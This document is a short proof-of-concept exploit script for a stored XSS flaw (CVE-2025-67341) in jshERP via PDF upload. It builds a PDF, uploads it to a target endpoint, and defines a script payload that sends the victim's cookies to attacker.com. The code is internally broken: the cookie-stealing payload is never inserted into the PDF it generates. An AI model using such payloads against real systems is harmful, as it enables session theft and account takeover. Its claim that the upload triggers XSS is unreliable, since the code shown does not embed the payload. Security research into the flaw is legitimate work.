CVE-2025-67341 jshERP 存储型XSS漏洞

# CVE-2025-67341 PoC - jshERP Stored XSS via PDF Upload # Author: Security Researcher # Target: jshERP <= 3.5 import requests import sys # Generate malicious PDF with XSS payload def generate_xss_pdf(): # PDF header pdf_content = b'%PDF-1.4\n' # Malicious XSS payload embedded in PDF xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Simple PDF with JavaScript action pdf_content += b'1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n' pdf_content += b'2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n' pdf_content += b'3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\n' pdf_content += b'xref\n0 4\n0000000000 65535 f\n0000000009 00000 n\n0000000058 00000 n\n0000000115 00000 n\n' pdf_content += b'trailer<</Size 4/Root 1 0 R>>\n' pdf_content += b'startxref\n0\n%%EOF\n' return pdf_content # Upload malicious PDF def exploit(target_url, upload_endpoint): pdf_data = generate_xss_pdf() files = {'file': ('malicious.pdf', pdf_data, 'application/pdf')} try: response = requests.post(upload_endpoint, files=files) if response.status_code == 200: print('[+] Malicious PDF uploaded successfully!') print('[+] Access the PDF at the returned URL to trigger XSS') return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <upload_endpoint>') sys.exit(1) exploit(sys.argv[1], sys.argv[2])